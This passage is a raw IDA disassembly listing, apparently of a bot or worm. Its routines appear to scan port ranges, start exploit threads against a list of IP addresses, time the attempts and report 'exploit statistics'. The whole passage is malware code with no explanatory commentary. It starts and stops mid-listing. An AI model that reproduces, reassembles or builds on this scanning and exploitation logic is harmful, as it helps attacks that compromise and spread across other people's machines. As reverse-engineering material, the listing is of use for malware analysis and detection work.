		push	eax
		call	sub_405580
		lea	eax, [ebp+var_540]
		push	offset dword_418C78
		push	eax
		call	sub_410AEE	; strcmp
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_40E426
		push	[ebp+var_4]
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		call	sub_403AFB
		add	esp, 0Ch
		push	eax
		call	sub_40394D
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E4DC
		call	sub_41084A	; clock
		mov	ecx, [ebp+var_1DA]
		add	eax, edi
		imul	ecx, 3E8h
		cmp	eax, ecx
		jb	loc_40E426


loc_40E4DC:				; CODE XREF: sub_40E18A+335j
		push	[ebp+var_1D6]
		call	ds:dword_4110A4	; Sleep
		push	[ebp+var_4]
		call	sub_4039D2
		test	eax, eax
		pop	ecx
		jz	loc_40E5BC


loc_40E4F9:				; CODE XREF: sub_40E18A+39Fj
					; sub_40E18A+3DAj ...
		push	[ebp+var_4]
		call	sub_403A6C
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_40E5BC
		inc	[ebp+var_8]
		cmp	[ebp+var_440], 0
		jz	short loc_40E566
		mov	edi, 14Ch
		push	edi
		call	sub_41082C	; malloc
		test	eax, eax
		pop	ecx
		mov	dword ptr [ebp+var_14+4], eax
		jz	short loc_40E4F9
		lea	ecx, [ebp+var_440]
		push	edi
		push	ecx
		push	eax
		call	sub_410838	; memcpy
		mov	edi, dword ptr [ebp+var_14+4]
		push	edi
		push	offset sub_40E03D
		mov	[edi+3Eh], ebx
		call	sub_406541
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40E559
		push	edi
		call	sub_410832	; free
		jmp	short loc_40E563
; ---------------------------------------------------------------------------


loc_40E559:				; CODE XREF: sub_40E18A+3C5j
		push	[ebp+var_4]
		push	ebx
		call	sub_40397D
		pop	ecx


loc_40E563:				; CODE XREF: sub_40E18A+3CDj
		pop	ecx
		jmp	short loc_40E4F9
; ---------------------------------------------------------------------------


loc_40E566:				; CODE XREF: sub_40E18A+38Cj
		mov	eax, [ebp+var_2F4]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40E5BC
		lea	eax, [ebp+var_740]
		push	eax
		push	ebx
		call	sub_403495
		pop	ecx
		mov	bl, [ebp+var_36]
		pop	ecx
		lea	eax, [ebp+var_1E8]
		and	[ebp+var_36], 0
		push	eax
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_1CE]
		push	offset dword_416B7C
		push	eax
		call	sub_408D50
		add	esp, 10h
		mov	[ebp+var_36], bl
		push	esi
		call	ds:dword_4110A4	; Sleep
		add	[ebp+arg_0], esi
		jmp	loc_40E4F9
; ---------------------------------------------------------------------------


loc_40E5BC:				; CODE XREF: sub_40E18A+369j
					; sub_40E18A+37Cj ...
		push	[ebp+var_4]
		call	sub_403AAE
		pop	ecx
		xor	ebx, ebx
		jmp	loc_40E426
; ---------------------------------------------------------------------------


loc_40E5CC:				; CODE XREF: sub_40E18A+2A5j
					; sub_40E18A+2C6j
		push	[ebp+var_8]
		call	sub_41084A	; clock
		sub	eax, [ebp+var_C]
		mov	dword ptr [ebp+var_14+4], ebx
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_14],	eax
		lea	eax, [ebp+var_1E8]
		fild	[ebp+var_14]
		fmul	ds:flt_411280
		fstp	[esp+758h+var_758]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		lea	eax, [ebp+var_1CE]
		push	offset unk_416B38
		push	eax
		call	sub_408D50
		push	[ebp+var_4]
		call	sub_403AE6
		push	[ebp+var_2F4]
		call	sub_406753
		add	esp, 24h
		xor	eax, eax
		pop	ebx


loc_40E623:				; CODE XREF: sub_40E18A+164j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40E18A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E629	proc near		; CODE XREF: sub_40735A+107Ep

var_18		= byte ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_4], ebx
		push	esi
		push	edi
		jz	loc_40E7C3
		mov	edi, [ebp+arg_8]
		cmp	edi, ebx
		jz	loc_40E7C3
		push	edi
		call	sub_4052D4
		test	al, al
		pop	ecx
		jz	short loc_40E67A
		push	edi
		call	sub_40325E
		test	eax, eax
		pop	ecx
		jz	loc_40E7C3


loc_40E662:				; CODE XREF: sub_40E629+87j
		cmp	[ebp+arg_C], ebx
		mov	esi, 15180h
		jz	short loc_40E6C1
		push	[ebp+arg_C]
		call	sub_41088C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		jmp	short loc_40E6C4
; ---------------------------------------------------------------------------


loc_40E67A:				; CODE XREF: sub_40E629+28j
		cmp	byte ptr dword_416768, 0
		jz	loc_40E7C3
		mov	eax, offset dword_416768
		mov	esi, eax


loc_40E68E:				; CODE XREF: sub_40E629+91j
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40AC4E
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_410C94	; _strcmpi
		add	esp, 14h
		test	eax, eax
		jz	short loc_40E662
		add	esi, 3Ah
		mov	eax, esi
		cmp	byte ptr [esi],	0
		jnz	short loc_40E68E
		jmp	loc_40E7C3
; ---------------------------------------------------------------------------


loc_40E6C1:				; CODE XREF: sub_40E629+41j
		mov	[ebp+var_4], esi


loc_40E6C4:				; CODE XREF: sub_40E629+4Fj
		cmp	[ebp+var_4], ebx
		jz	short loc_40E6CE
		cmp	[ebp+var_4], esi
		jbe	short loc_40E6D1


loc_40E6CE:				; CODE XREF: sub_40E629+9Ej
		mov	[ebp+var_4], esi


loc_40E6D1:				; CODE XREF: sub_40E629+A3j
		cmp	[ebp+arg_10], ebx
		mov	esi, 7D0h
		jz	short loc_40E6E9
		push	[ebp+arg_10]
		call	sub_41088C	; atoi
		pop	ecx
		mov	[ebp+arg_10], eax
		jmp	short loc_40E6EC
; ---------------------------------------------------------------------------


loc_40E6E9:				; CODE XREF: sub_40E629+B0j
		mov	[ebp+arg_10], esi


loc_40E6EC:				; CODE XREF: sub_40E629+BEj
		cmp	[ebp+arg_10], 32h
		jb	short loc_40E6FB
		cmp	[ebp+arg_10], 0EA60h
		jbe	short loc_40E6FE


loc_40E6FB:				; CODE XREF: sub_40E629+C7j
		mov	[ebp+arg_10], esi


loc_40E6FE:				; CODE XREF: sub_40E629+D0j
		cmp	[ebp+arg_14], ebx
		mov	esi, 100h
		jz	short loc_40E716
		push	[ebp+arg_14]
		call	sub_41088C	; atoi
		pop	ecx
		mov	[ebp+arg_C], eax
		jmp	short loc_40E719
; ---------------------------------------------------------------------------


loc_40E716:				; CODE XREF: sub_40E629+DDj
		mov	[ebp+arg_C], esi


loc_40E719:				; CODE XREF: sub_40E629+EBj
		cmp	[ebp+arg_C], ebx
		jz	short loc_40E727
		cmp	[ebp+arg_C], 200h
		jbe	short loc_40E72A


loc_40E727:				; CODE XREF: sub_40E629+F3j
		mov	[ebp+arg_C], esi


loc_40E72A:				; CODE XREF: sub_40E629+FCj
		push	2C9h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	loc_40E7C3
		push	108h
		lea	edi, [esi+4]
		push	[ebp+arg_4]
		push	edi
		call	sub_4052A6
		push	0Eh
		lea	ebx, [esi+10Ch]
		push	[ebp+arg_8]
		push	ebx
		call	sub_4052A6
		mov	eax, [ebp+var_4]
		push	1A3h
		push	[ebp+arg_0]
		mov	[esi+11Ah], eax
		mov	eax, [ebp+arg_10]
		mov	[esi+11Eh], eax
		mov	eax, [ebp+arg_C]
		mov	[esi+122h], eax
		lea	eax, [esi+126h]
		push	eax
		call	sub_410838	; memcpy
		mov	ecx, [ebp+arg_0]
		add	esp, 24h
		xor	eax, eax
		push	[ebp+arg_C]
		cmp	[ecx+18Bh], al
		push	[ebp+arg_10]
		setz	al
		push	dword ptr [esi+11Ah]
		push	ebx
		push	edi
		push	offset unk_416BF4
		push	eax
		push	esi
		push	offset sub_40E18A
		call	sub_40663C
		add	esp, 24h


loc_40E7C3:				; CODE XREF: sub_40E629+Ej
					; sub_40E629+19j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E629	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E7C8	proc near		; DATA XREF: sub_40EA34+4Bo

var_488		= dword	ptr -488h
var_484		= byte ptr -484h
var_304		= byte ptr -304h
var_17D		= byte ptr -17Dh
var_17C		= byte ptr -17Ch
var_179		= byte ptr -179h
var_16D		= byte ptr -16Dh
var_16C		= byte ptr -16Ch
var_16B		= byte ptr -16Bh
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_149		= byte ptr -149h
var_9E		= dword	ptr -9Eh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 488h
		push	ebx
		push	esi
		push	edi
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_488]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		mov	eax, [ebp+var_488]
		add	esp, 10h
		push	dword ptr [eax]
		lea	eax, [ebp+var_304]
		push	offset unk_416CA0
		push	eax
		call	sub_408D50
		lea	eax, [ebp+var_14]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_484]
		push	offset dword_412F18
		push	eax
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edi
		call	sub_405733
		add	esp, 18h
		mov	[ebp+var_10], eax


loc_40E82F:				; CODE XREF: sub_40E7C8+236j
		inc	[ebp+var_C]
		cmp	off_416796, edi
		jz	loc_40E9DC
		mov	[ebp+var_4], offset dword_416768


loc_40E845:				; CODE XREF: sub_40E7C8+20Ej
		mov	esi, [ebp+var_4]
		push	3Ah
		lea	eax, [ebp+var_15C]
		push	esi
		push	eax
		call	sub_410838	; memcpy
		lea	eax, [ebp+var_15C]
		mov	[ebp+var_160], esi
		push	eax
		call	sub_40AC4E
		lea	eax, [ebp+var_149]
		push	eax
		call	sub_40AC4E
		mov	eax, [ebp+var_160]
		add	esp, 14h
		cmp	eax, edi
		jz	loc_40E936
		test	byte ptr [eax+32h], 1
		jz	loc_40E936
		call	sub_4032EF
		mov	ecx, eax
		neg	ecx
		sbb	ecx, ecx
		add	ecx, 3
		cmp	[ebp+var_16D], 0
		mov	[ebp+var_9E], ecx
		jz	short loc_40E8C2
		mov	edx, [ebp+var_160]
		test	byte ptr [edx+32h], 2
		jnz	short loc_40E8C2
		push	1
		pop	ecx
		mov	[ebp+var_9E], ecx


loc_40E8C2:				; CODE XREF: sub_40E7C8+E3j
					; sub_40E7C8+EFj
		cmp	[ebp+var_17D], 0
		jz	short loc_40E8D4
		push	2
		pop	ecx
		mov	[ebp+var_9E], ecx


loc_40E8D4:				; CODE XREF: sub_40E7C8+101j
		cmp	[ebp+var_17C], 0
		jz	short loc_40E8E6
		push	3
		pop	ecx
		mov	[ebp+var_9E], ecx


loc_40E8E6:				; CODE XREF: sub_40E7C8+113j
		cmp	ecx, 3
		jnz	short loc_40E936
		cmp	eax, edi
		jz	short loc_40E8FB
		mov	[ebp+var_9E], 2
		jmp	short loc_40E936
; ---------------------------------------------------------------------------


loc_40E8FB:				; CODE XREF: sub_40E7C8+125j
		mov	al, [ebp+var_179]
		mov	bl, [ebp+var_16C]
		and	[ebp+var_179], 0
		mov	byte ptr [ebp+arg_0+3],	al
		lea	eax, [ebp+var_304]
		push	edi
		push	eax
		mov	[ebp+var_16C], 1
		call	sub_40DD96
		mov	al, byte ptr [ebp+arg_0+3]
		pop	ecx
		pop	ecx
		mov	[ebp+var_16C], bl
		mov	[ebp+var_179], al


loc_40E936:				; CODE XREF: sub_40E7C8+B8j
					; sub_40E7C8+C2j ...
		mov	cl, [ebp+var_16B]
		mov	eax, 1388h
		neg	cl
		sbb	ecx, ecx
		and	ecx, eax
		add	ecx, eax
		lea	eax, [ebp+var_149]
		push	ecx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	sub_403BBB
		mov	ebx, eax
		add	esp, 10h
		cmp	ebx, edi
		jz	short loc_40E9CC
		push	14Ch
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	short loc_40E9CC
		lea	eax, [ebp+var_160]
		push	14Ch
		push	eax
		push	esi
		call	sub_410838	; memcpy
		inc	[ebp+var_8]
		push	esi
		push	offset sub_40E03D
		mov	[esi+3Eh], ebx
		call	sub_406541
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40E9AE
		push	ebx
		call	sub_403D49
		push	esi
		call	sub_410832	; free
		pop	ecx
		pop	ecx
		jmp	short loc_40E9CC
; ---------------------------------------------------------------------------


loc_40E9AE:				; CODE XREF: sub_40E7C8+1D4j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_304]
		push	[ebp+var_10]
		push	offset dword_416C70
		push	eax
		call	sub_408D50
		add	esp, 10h


loc_40E9CC:				; CODE XREF: sub_40E7C8+199j
					; sub_40E7C8+1AAj ...
		add	[ebp+var_4], 3Ah
		mov	eax, [ebp+var_4]
		cmp	[eax+2Eh], edi
		jnz	loc_40E845


loc_40E9DC:				; CODE XREF: sub_40E7C8+70j
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_412F18
		push	edi
		call	sub_405733
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	eax, edi
		mov	eax, [ebp+var_488]
		jz	short loc_40EA04
		cmp	[eax+4], edi
		jz	loc_40E82F


loc_40EA04:				; CODE XREF: sub_40E7C8+231j
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	dword ptr [eax]
		lea	eax, [ebp+var_304]
		push	offset dword_416C2C
		push	eax
		call	sub_408D50
		push	[ebp+var_488]
		call	sub_406753
		add	esp, 18h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40E7C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EA34	proc near		; CODE XREF: sub_40735A+4AAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		push	esi
		jz	short loc_40EA8C
		push	327h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40EA8C
		push	180h
		lea	eax, [esi+4]
		push	[esp+8+arg_4]
		push	eax
		call	sub_4052A6
		push	1A3h
		lea	eax, [esi+184h]
		push	[esp+14h+arg_0]
		push	eax
		call	sub_410838	; memcpy
		add	esp, 18h
		push	offset aAttemptingToEx ; "Attempting to	exploit	IP's in list."
		push	0
		push	esi
		push	offset sub_40E7C8
		call	sub_40663C
		add	esp, 10h


loc_40EA8C:				; CODE XREF: sub_40EA34+6j
					; sub_40EA34+17j
		pop	esi
		retn
sub_40EA34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA8E	proc near		; DATA XREF: sub_40EB64+29o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		lea	eax, [ebp+var_3BC]
		push	offset aExploitStatist ; "Exploit statistics - "
		push	eax
		call	sub_410820	; _mbscpy
		xor	ebx, ebx
		add	esp, 18h
		cmp	byte ptr dword_416768, bl
		jz	short loc_40EB39
		push	esi
		mov	esi, offset dword_416768
		mov	eax, esi


loc_40EADA:				; CODE XREF: sub_40EA8E+A8j
		push	12h
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4052A6
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40AC4E
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_410856	; _mbscat
		add	esp, 18h
		lea	eax, [ebp+var_3BC]
		push	dword ptr [esi+2Ah]
		push	offset dword_416CF4
		push	eax
		call	sub_410826	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_3BC]
		push	eax
		call	sub_410844	; sprintf
		add	esp, 0Ch
		cmp	[ebp+var_21], bl
		jz	short loc_40EB2F
		mov	[esi+2Ah], ebx


loc_40EB2F:				; CODE XREF: sub_40EA8E+9Cj
		add	esi, 3Ah
		mov	eax, esi
		cmp	[esi], bl
		jnz	short loc_40EADA
		pop	esi


loc_40EB39:				; CODE XREF: sub_40EA8E+42j
		lea	eax, [ebp+var_3BC]
		mov	[ebp+var_20], bl
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_408D50
		push	[ebp+var_1BC]
		call	sub_406753
		add	esp, 0Ch
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40EA8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EB64	proc near		; CODE XREF: sub_40735A+4E7p

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40EB9A
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_403E60
		pop	ecx
		pop	ecx
		push	offset aListingExploit ; "Listing exploit statistics"
		push	0
		push	esi
		push	offset sub_40EA8E
		call	sub_40663C
		add	esp, 10h


loc_40EB9A:				; CODE XREF: sub_40EB64+10j
		pop	esi
		retn
sub_40EB64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB9C	proc near		; DATA XREF: sub_40EC6F+AFo

var_2B4		= dword	ptr -2B4h
var_2B0		= byte ptr -2B0h
var_1B0		= byte ptr -1B0h
var_1AA		= dword	ptr -1AAh
var_1A6		= byte ptr -1A6h
var_E		= byte ptr -0Eh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2B4h
		push	esi
		push	2B1h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		call	sub_41084A	; clock
		push	[ebp+var_1AA]
		mov	esi, eax
		lea	eax, [ebp+var_1B0]
		push	0
		push	eax
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_403BBB
		add	esp, 20h
		test	eax, eax
		jz	short loc_40EC1E
		push	eax
		call	sub_403D49
		pop	ecx
		call	sub_41084A	; clock
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		lea	eax, [ebp+var_2B0]
		push	eax
		lea	eax, [ebp+var_1A6]
		push	offset dword_416DA0
		push	eax
		call	sub_408D50
		add	esp, 14h
		jmp	short loc_40EC5C
; ---------------------------------------------------------------------------


loc_40EC1E:				; CODE XREF: sub_40EB9C+4Dj
		cmp	[ebp+var_E], 0
		jnz	short loc_40EC5C
		call	sub_41084A	; clock
		sub	eax, esi
		cmp	eax, [ebp+var_1AA]
		lea	eax, [ebp+var_1B0]
		push	eax
		lea	eax, [ebp+var_2B0]
		push	eax
		jb	short loc_40EC48
		push	offset dword_416D68
		jmp	short loc_40EC4D
; ---------------------------------------------------------------------------


loc_40EC48:				; CODE XREF: sub_40EB9C+A3j
		push	offset dword_416D38


loc_40EC4D:				; CODE XREF: sub_40EB9C+AAj
		lea	eax, [ebp+var_1A6]
		push	eax
		call	sub_408D50
		add	esp, 10h


loc_40EC5C:				; CODE XREF: sub_40EB9C+80j
					; sub_40EB9C+86j
		push	[ebp+var_2B4]
		call	sub_406753
		pop	ecx
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40EB9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC6F	proc near		; CODE XREF: sub_40735A+DC2p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		jz	loc_40ED2B
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_40EC8B
		mov	ebx, offset a80	; "80"


loc_40EC8B:				; CODE XREF: sub_40EC6F+15j
		push	ebx
		call	sub_41088C	; atoi
		test	eax, eax
		pop	ecx
		jz	loc_40ED2B
		cmp	eax, 0FFFFh
		ja	loc_40ED2B
		cmp	[ebp+arg_C], 0
		jz	short loc_40ECB8
		push	[ebp+arg_C]
		call	sub_41088C	; atoi
		pop	ecx
		mov	edi, eax
		jmp	short loc_40ECBD
; ---------------------------------------------------------------------------


loc_40ECB8:				; CODE XREF: sub_40EC6F+3Aj
		mov	edi, 0EA60h


loc_40ECBD:				; CODE XREF: sub_40EC6F+47j
		test	edi, edi
		jz	short loc_40ED2B
		cmp	edi, 36EE80h
		ja	short loc_40ED2B
		push	2B1h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40ED2B
		push	100h
		lea	eax, [esi+4]
		push	[ebp+arg_4]
		push	eax
		call	sub_4052A6
		push	6
		lea	eax, [esi+104h]
		push	ebx
		push	eax
		call	sub_4052A6
		push	[ebp+arg_0]
		lea	eax, [esi+10Eh]
		mov	[esi+10Ah], edi
		push	eax
		call	sub_403E60
		add	esp, 20h
		push	ebx
		push	[ebp+arg_4]
		push	offset dword_416DD0
		push	0
		push	esi
		push	offset sub_40EB9C
		call	sub_40663C
		add	esp, 18h


loc_40ED2B:				; CODE XREF: sub_40EC6F+Aj
					; sub_40EC6F+25j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40EC6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED30	proc near		; DATA XREF: sub_40EF0E+169o

var_2E0		= qword	ptr -2E0h
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2C8h
		push	ebx
		push	2B3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		push	[ebp+var_1BC]
		mov	ebx, [ebp+var_1C4]
		call	sub_403925
		add	esp, 14h
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_40ED84
		push	[ebp+var_2C8]
		call	sub_406753
		pop	ecx
		xor	eax, eax
		jmp	loc_40EF09
; ---------------------------------------------------------------------------


loc_40ED84:				; CODE XREF: sub_40ED30+3Fj
		movzx	eax, word ptr [ebp+var_1C4+2]
		push	esi
		push	edi
		push	[ebp+var_1BC]
		push	eax
		movzx	eax, word ptr [ebp+var_1C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_2C8]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1B8]
		push	offset dword_416E40
		push	eax
		call	sub_408D50
		mov	esi, ds:dword_4110A4
		add	esp, 1Ch
		cmp	[ebp+var_20], 0
		mov	edi, 3E8h
		jnz	short loc_40EDD3
		push	edi
		call	esi	; Sleep


loc_40EDD3:				; CODE XREF: sub_40ED30+9Ej
		call	sub_41084A	; clock
		and	[ebp+var_8], 0
		mov	[ebp+var_4], eax


loc_40EDDF:				; CODE XREF: sub_40ED30+10Dj
					; sub_40ED30+186j
		mov	eax, [ebp+var_2C8]
		cmp	dword ptr [eax+4], 0
		jnz	loc_40EEBB
		cmp	bx, word ptr [ebp+var_1C4+2]
		ja	loc_40EEBB
		lea	eax, [ebp+var_10]
		push	0Ah
		push	eax
		movzx	eax, bx
		push	eax
		call	sub_410C9A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		inc	ebx
		push	[ebp+arg_0]
		mov	[ebp+var_14], ebx
		push	0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_403AFB
		add	esp, 0Ch
		push	eax
		call	sub_40394D
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EE3F
		cmp	bx, word ptr [ebp+var_1C4+2]
		jbe	short loc_40EDDF


loc_40EE3F:				; CODE XREF: sub_40ED30+104j
		push	[ebp+var_1C0]
		call	esi	; Sleep
		push	[ebp+arg_0]
		call	sub_4039D2
		test	eax, eax
		pop	ecx
		jz	short loc_40EEAA


loc_40EE54:				; CODE XREF: sub_40ED30+178j
		mov	eax, [ebp+var_2C8]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40EEAA
		push	[ebp+arg_0]
		call	sub_403A6C
		test	eax, eax
		pop	ecx
		jz	short loc_40EEAA
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_403536
		pop	ecx
		mov	bl, [ebp+var_20]
		pop	ecx
		lea	eax, [ebp+var_10]
		inc	[ebp+var_8]
		and	[ebp+var_20], 0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	offset dword_416E2C
		push	eax
		call	sub_408D50
		add	esp, 10h
		mov	[ebp+var_20], bl
		push	edi
		call	esi	; Sleep
		jmp	short loc_40EE54
; ---------------------------------------------------------------------------


loc_40EEAA:				; CODE XREF: sub_40ED30+122j
					; sub_40ED30+12Ej ...
		push	[ebp+arg_0]
		call	sub_403AAE
		mov	ebx, [ebp+var_14]
		pop	ecx
		jmp	loc_40EDDF
; ---------------------------------------------------------------------------


loc_40EEBB:				; CODE XREF: sub_40ED30+B9j
					; sub_40ED30+C6j
		push	[ebp+var_8]
		call	sub_41084A	; clock
		sub	eax, [ebp+var_4]
		push	ecx
		push	ecx
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_2C4]
		fild	[ebp+var_4]
		fmul	ds:flt_411280
		fstp	[esp+2E0h+var_2E0]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	offset unk_416DF0
		push	eax
		call	sub_408D50
		push	[ebp+arg_0]
		call	sub_403AE6
		push	[ebp+var_2C8]
		call	sub_406753
		add	esp, 20h
		xor	eax, eax
		pop	edi
		pop	esi


loc_40EF09:				; CODE XREF: sub_40ED30+4Fj
		pop	ebx
		leave
		retn	4
sub_40ED30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF0E	proc near		; CODE XREF: sub_40735A+55Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		jz	loc_40F084
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	loc_40F084
		cmp	[ebp+arg_C], 0
		jnz	short loc_40EF33
		mov	[ebp+arg_C], eax


loc_40EF33:				; CODE XREF: sub_40EF0E+20j
		push	eax
		call	sub_41088C	; atoi
		mov	edi, eax
		pop	ecx
		test	edi, edi
		mov	[ebp+arg_8], edi
		jz	loc_40F084
		mov	esi, 0FFFFh
		cmp	edi, esi
		ja	loc_40F084
		push	[ebp+arg_C]
		call	sub_41088C	; atoi
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		mov	[ebp+var_4], ebx
		jz	loc_40F084
		cmp	ebx, esi
		ja	loc_40F084
		push	2B3h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	loc_40F084
		cmp	edi, ebx
		jbe	short loc_40EF91
		mov	[ebp+var_4], edi
		mov	[ebp+arg_8], ebx


loc_40EF91:				; CODE XREF: sub_40EF0E+7Bj
		cmp	[ebp+arg_10], 0
		mov	edi, 7D0h
		jz	short loc_40EFAA
		push	[ebp+arg_10]
		call	sub_41088C	; atoi
		pop	ecx
		mov	[ebp+arg_C], eax
		jmp	short loc_40EFAD
; ---------------------------------------------------------------------------


loc_40EFAA:				; CODE XREF: sub_40EF0E+8Cj
		mov	[ebp+arg_C], edi


loc_40EFAD:				; CODE XREF: sub_40EF0E+9Aj
		cmp	[ebp+arg_C], 0
		mov	ebx, 0EA60h
		jz	short loc_40EFBD
		cmp	[ebp+arg_C], ebx
		jbe	short loc_40EFC0


loc_40EFBD:				; CODE XREF: sub_40EF0E+A8j
		mov	[ebp+arg_C], edi


loc_40EFC0:				; CODE XREF: sub_40EF0E+ADj
		cmp	[ebp+arg_14], 0
		mov	edi, 100h
		jz	short loc_40EFD9
		push	[ebp+arg_14]
		call	sub_41088C	; atoi
		pop	ecx
		mov	[ebp+arg_10], eax
		jmp	short loc_40EFDC
; ---------------------------------------------------------------------------


loc_40EFD9:				; CODE XREF: sub_40EF0E+BBj
		mov	[ebp+arg_10], edi


